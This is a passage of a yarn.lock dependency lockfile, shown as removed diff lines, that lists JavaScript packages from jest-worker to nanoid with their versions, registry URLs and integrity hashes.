sha512-7YOVZaiX7RJLv76ZfHt4nbNEzzTRiMW/IiOG7ZOKmTXmoGBxUDefgMAxQubu6WPVqP5zSzAdZG0FfLcC7HOIFQ== - dependencies: - "@jest/types" "^29.3.1" - "@types/node" "*" - chalk "^4.0.0" - ci-info "^3.2.0" - graceful-fs "^4.2.9" - picomatch "^2.2.3" - -jest-worker@^27.4.5: - version "27.5.1" - resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-27.5.1.tgz#8d146f0900e8973b106b6f73cc1e9a8cb86f8db0" - integrity sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg== - dependencies: - "@types/node" "*" - merge-stream "^2.0.0" - supports-color "^8.0.0" - -jest-worker@^29.1.2: - version "29.3.1" - resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-29.3.1.tgz#e9462161017a9bb176380d721cab022661da3d6b" - integrity sha512-lY4AnnmsEWeiXirAIA0c9SDPbuCBq8IYuDVL8PMm0MZ2PEs2yPvRA/J64QBXuZp7CYKrDM/rmNrc9/i3KJQncw== - dependencies: - "@types/node" "*" - jest-util "^29.3.1" - merge-stream "^2.0.0" - supports-color "^8.0.0" - -joi@^17.6.0: - version "17.6.0" - resolved "https://registry.yarnpkg.com/joi/-/joi-17.6.0.tgz#0bb54f2f006c09a96e75ce687957bd04290054b2" - integrity sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw== - dependencies: - "@hapi/hoek" "^9.0.0" - "@hapi/topo" "^5.0.0" - "@sideway/address" "^4.1.3" - "@sideway/formula" "^3.0.0" - "@sideway/pinpoint" "^2.0.0" - -"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499" - integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ== - -js-yaml@^3.13.1: - version "3.14.1" - resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537" - integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g== - dependencies: - argparse "^1.0.7" - esprima "^4.0.0" - -js-yaml@^4.1.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602" - integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA== - dependencies: - argparse "^2.0.1" - -jsesc@^2.5.1: - version "2.5.2" - resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4" - integrity sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA== - -jsesc@~0.5.0: - version "0.5.0" - resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d" - integrity sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA== - -json-buffer@3.0.1, json-buffer@~3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13" - integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ== - -json-parse-even-better-errors@^2.3.0, json-parse-even-better-errors@^2.3.1: - version "2.3.1" - resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d" - integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w== - -json-schema-traverse@^0.4.1: - version "0.4.1" - resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660" - integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg== - -json-schema-traverse@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2" - integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug== - -json5@^2.1.2, json5@^2.2.1: - version "2.2.3" - resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.3.tgz#78cd6f1a19bdc12b73db5ad0c61efd66c1e29283" - integrity sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg== - -jsonfile@^6.0.1: - version "6.1.0" - resolved "https://registry.yarnpkg.com/jsonfile/-/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae" - integrity sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ== - dependencies: - universalify "^2.0.0" - optionalDependencies: - graceful-fs "^4.1.6" - -katex@^0.12.0: - version "0.12.0" - resolved "https://registry.yarnpkg.com/katex/-/katex-0.12.0.tgz#2fb1c665dbd2b043edcf8a1f5c555f46beaa0cb9" - integrity sha512-y+8btoc/CK70XqcHqjxiGWBOeIL8upbS0peTPXTvgrh21n1RiWWcIpSWM+4uXq+IAgNh9YYQWdc7LVDPDAEEAg== - dependencies: - commander "^2.19.0" - -keyv@^4.0.0: - version "4.3.3" - resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.3.3.tgz#6c1bcda6353a9e96fc1b4e1aeb803a6e35090ba9" - integrity sha512-AcysI17RvakTh8ir03+a3zJr5r0ovnAH/XTXei/4HIv3bL2K/jzvgivLK9UuI/JbU1aJjM3NSAnVvVVd3n+4DQ== - dependencies: - compress-brotli "^1.3.8" - json-buffer "3.0.1" - -kind-of@^6.0.0, kind-of@^6.0.2: - version "6.0.3" - resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd" - integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw== - -kleur@^3.0.3: - version "3.0.3" - resolved "https://registry.yarnpkg.com/kleur/-/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e" - integrity sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w== - -klona@^2.0.5: - version "2.0.5" - resolved "https://registry.yarnpkg.com/klona/-/klona-2.0.5.tgz#d166574d90076395d9963aa7a928fabb8d76afbc" - integrity sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ== - -latest-version@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/latest-version/-/latest-version-5.1.0.tgz#119dfe908fe38d15dfa43ecd13fa12ec8832face" - integrity sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA== - dependencies: - package-json "^6.3.0" - -leven@^3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/leven/-/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2" - integrity sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A== - -lilconfig@^2.0.3: - version "2.0.6" - resolved "https://registry.yarnpkg.com/lilconfig/-/lilconfig-2.0.6.tgz#32a384558bd58af3d4c6e077dd1ad1d397bc69d4" - integrity sha512-9JROoBW7pobfsx+Sq2JsASvCo6Pfo6WWoUW79HuB1BCoBXD4PLWJPqDF6fNj67pqBYTbAHkE57M1kS/+L1neOg== - -lines-and-columns@^1.1.6: - version "1.2.4" - resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz#eca284f75d2965079309dc0ad9255abb2ebc1632" - integrity sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg== - -load-script@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/load-script/-/load-script-1.0.0.tgz#0491939e0bee5643ee494a7e3da3d2bac70c6ca4" - integrity sha512-kPEjMFtZvwL9TaZo0uZ2ml+Ye9HUMmPwbYRJ324qF9tqMejwykJ5ggTyvzmrbBeapCAbk98BSbTeovHEEP1uCA== - -loader-runner@^4.2.0: - version "4.3.0" - resolved "https://registry.yarnpkg.com/loader-runner/-/loader-runner-4.3.0.tgz#c1b4a163b99f614830353b16755e7149ac2314e1" - integrity sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg== - -loader-utils@^2.0.0: - version "2.0.4" - resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-2.0.4.tgz#8b5cb38b5c34a9a018ee1fc0e6a066d1dfcc528c" - integrity sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw== - dependencies: - big.js "^5.2.2" - emojis-list "^3.0.0" - json5 "^2.1.2" - -loader-utils@^3.2.0, loader-utils@^3.2.1: - version "3.2.1" - resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-3.2.1.tgz#4fb104b599daafd82ef3e1a41fb9265f87e1f576" - integrity sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw== - -locate-path@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e" - integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A== - dependencies: - p-locate "^3.0.0" - path-exists "^3.0.0" - -locate-path@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0" - integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g== - dependencies: - p-locate "^4.1.0" - -locate-path@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286" - integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== - dependencies: - p-locate "^5.0.0" - -lodash.curry@^4.0.1: - version "4.1.1" - resolved "https://registry.yarnpkg.com/lodash.curry/-/lodash.curry-4.1.1.tgz#248e36072ede906501d75966200a86dab8b23170" - integrity sha512-/u14pXGviLaweY5JI0IUzgzF2J6Ne8INyzAZjImcryjgkZ+ebruBxy2/JaOOkTqScddcYtakjhSaeemV8lR0tA== - -lodash.debounce@^4.0.8: - version "4.0.8" - resolved "https://registry.yarnpkg.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af" - integrity sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow== - -lodash.flow@^3.3.0: - version "3.5.0" - resolved "https://registry.yarnpkg.com/lodash.flow/-/lodash.flow-3.5.0.tgz#87bf40292b8cf83e4e8ce1a3ae4209e20071675a" - integrity sha512-ff3BX/tSioo+XojX4MOsOMhJw0nZoUEF011LX8g8d3gvjVbxd89cCio4BCXronjxcTUIJUoqKEUA+n4CqvvRPw== - -lodash.memoize@^4.1.2: - version "4.1.2" - resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe" - integrity sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag== - -lodash.uniq@4.5.0, lodash.uniq@^4.5.0: - version "4.5.0" - resolved "https://registry.yarnpkg.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773" - integrity sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ== - -lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21: - version "4.17.23" - resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.23.tgz#f113b0378386103be4f6893388c73d0bde7f2c5a" - integrity sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w== - -loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.2.0, loose-envify@^1.3.1, loose-envify@^1.4.0: - version "1.4.0" - resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf" - integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q== - dependencies: - js-tokens "^3.0.0 || ^4.0.0" - -lower-case@^2.0.2: - version "2.0.2" - resolved "https://registry.yarnpkg.com/lower-case/-/lower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28" - integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg== - dependencies: - tslib "^2.0.3" - -lowercase-keys@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/lowercase-keys/-/lowercase-keys-2.0.0.tgz#2603e78b7b4b0006cbca2fbcc8a3202558ac9479" - integrity sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA== - -lru-cache@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94" - integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA== - dependencies: - yallist "^4.0.0" - -make-dir@^3.0.0, make-dir@^3.0.2, make-dir@^3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f" - integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw== - dependencies: - semver "^6.0.0" - -markdown-escapes@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/markdown-escapes/-/markdown-escapes-1.0.4.tgz#c95415ef451499d7602b91095f3c8e8975f78535" - integrity sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg== - -mdast-squeeze-paragraphs@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/mdast-squeeze-paragraphs/-/mdast-squeeze-paragraphs-4.0.0.tgz#7c4c114679c3bee27ef10b58e2e015be79f1ef97" - integrity sha512-zxdPn69hkQ1rm4J+2Cs2j6wDEv7O17TfXTJ33tl/+JPIoEmtV9t2ZzBM5LPHE8QlHsmVD8t3vPKCyY3oH+H8MQ== - dependencies: - unist-util-remove "^2.0.0" - -mdast-util-definitions@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz#c5c1a84db799173b4dcf7643cda999e440c24db2" - integrity sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ== - dependencies: - unist-util-visit "^2.0.0" - -mdast-util-to-hast@10.0.1: - version "10.0.1" - resolved "https://registry.yarnpkg.com/mdast-util-to-hast/-/mdast-util-to-hast-10.0.1.tgz#0cfc82089494c52d46eb0e3edb7a4eb2aea021eb" - integrity sha512-BW3LM9SEMnjf4HXXVApZMt8gLQWVNXc3jryK0nJu/rOXPOnlkUjmdkDlmxMirpbU9ILncGFIwLH/ubnWBbcdgA== - dependencies: - "@types/mdast" "^3.0.0" - "@types/unist" "^2.0.0" - mdast-util-definitions "^4.0.0" - mdurl "^1.0.0" - unist-builder "^2.0.0" - unist-util-generated "^1.0.0" - unist-util-position "^3.0.0" - unist-util-visit "^2.0.0" - -mdast-util-to-string@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz#b8cfe6a713e1091cb5b728fc48885a4767f8b97b" - integrity sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w== - -mdn-data@2.0.14: - version "2.0.14" - resolved "https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.14.tgz#7113fc4281917d63ce29b43446f701e68c25ba50" - integrity sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow== - -mdurl@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/mdurl/-/mdurl-1.0.1.tgz#fe85b2ec75a59037f2adfec100fd6c601761152e" - integrity sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g== - -media-typer@0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" - integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ== - -memfs@^3.1.2, memfs@^3.4.3: - version "3.4.7" - resolved "https://registry.yarnpkg.com/memfs/-/memfs-3.4.7.tgz#e5252ad2242a724f938cb937e3c4f7ceb1f70e5a" - integrity sha512-ygaiUSNalBX85388uskeCyhSAoOSgzBbtVCr9jA2RROssFL9Q19/ZXFqS+2Th2sr1ewNIWgFdLzLC3Yl1Zv+lw== - dependencies: - fs-monkey "^1.0.3" - -memoize-one@^5.1.1: - version "5.2.1" - resolved "https://registry.yarnpkg.com/memoize-one/-/memoize-one-5.2.1.tgz#8337aa3c4335581839ec01c3d594090cebe8f00e" - integrity sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q== - -merge-descriptors@1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" - integrity sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w== - -merge-stream@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60" - integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w== - -merge2@^1.3.0, merge2@^1.4.1: - version "1.4.1" - resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae" - integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg== - -methods@~1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" - integrity sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w== - -micromatch@^4.0.2, micromatch@^4.0.4, micromatch@^4.0.5: - version "4.0.5" - resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.5.tgz#bc8999a7cbbf77cdc89f132f6e467051b49090c6" - integrity sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA== - dependencies: - braces "^3.0.2" - picomatch "^2.3.1" - -mime-db@1.52.0, "mime-db@>= 1.43.0 < 2": - version "1.52.0" - resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70" - integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg== - -mime-db@~1.33.0: - version "1.33.0" - resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.33.0.tgz#a3492050a5cb9b63450541e39d9788d2272783db" - integrity sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ== - -mime-types@2.1.18: - version "2.1.18" - resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.18.tgz#6f323f60a83d11146f831ff11fd66e2fe5503bb8" - integrity sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ== - dependencies: - mime-db "~1.33.0" - -mime-types@^2.1.27, mime-types@^2.1.31, mime-types@~2.1.17, mime-types@~2.1.24, mime-types@~2.1.34: - version "2.1.35" - resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a" - integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw== - dependencies: - mime-db "1.52.0" - -mime@1.6.0: - version "1.6.0" - resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1" - integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg== - -mimic-fn@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b" - integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg== - -mimic-response@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-1.0.1.tgz#4923538878eef42063cb8a3e3b0798781487ab1b" - integrity sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ== - -mimic-response@^3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/mimic-response/-/mimic-response-3.1.0.tgz#2d1d59af9c1b129815accc2c46a022a5ce1fa3c9" - integrity sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ== - -mini-css-extract-plugin@^2.6.1: - version "2.7.0" - resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-2.7.0.tgz#d7d9ba0c5b596d155e36e2b174082fc7f010dd64" - integrity sha512-auqtVo8KhTScMsba7MbijqZTfibbXiBNlPAQbsVt7enQfcDYLdgG57eGxMqwVU3mfeWANY4F1wUg+rMF+ycZgw== - dependencies: - schema-utils "^4.0.0" - -minimalistic-assert@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7" - integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A== - -minimatch@3.0.4, minimatch@^3.0.4, minimatch@^3.0.5, minimatch@^3.1.1: - version "3.1.2" - resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b" - integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw== - dependencies: - brace-expansion "^1.1.7" - -minimist@^1.2.0, minimist@^1.2.5: - version "1.2.6" - resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.6.tgz#8637a5b759ea0d6e98702cfb3a9283323c93af44" - integrity sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q== - -mrmime@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/mrmime/-/mrmime-1.0.1.tgz#5f90c825fad4bdd41dc914eff5d1a8cfdaf24f27" - integrity sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw== - -ms@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" - integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A== - -ms@2.1.2: - version "2.1.2" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" - integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== - -ms@2.1.3: - version "2.1.3" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" - integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== - -multicast-dns@^7.2.5: - version "7.2.5" - resolved "https://registry.yarnpkg.com/multicast-dns/-/multicast-dns-7.2.5.tgz#77eb46057f4d7adbd16d9290fa7299f6fa64cced" - integrity sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg== - dependencies: - dns-packet "^5.2.2" - thunky "^1.0.2" - -nanoid@^3.3.4: - version "3.3.4" - resolved 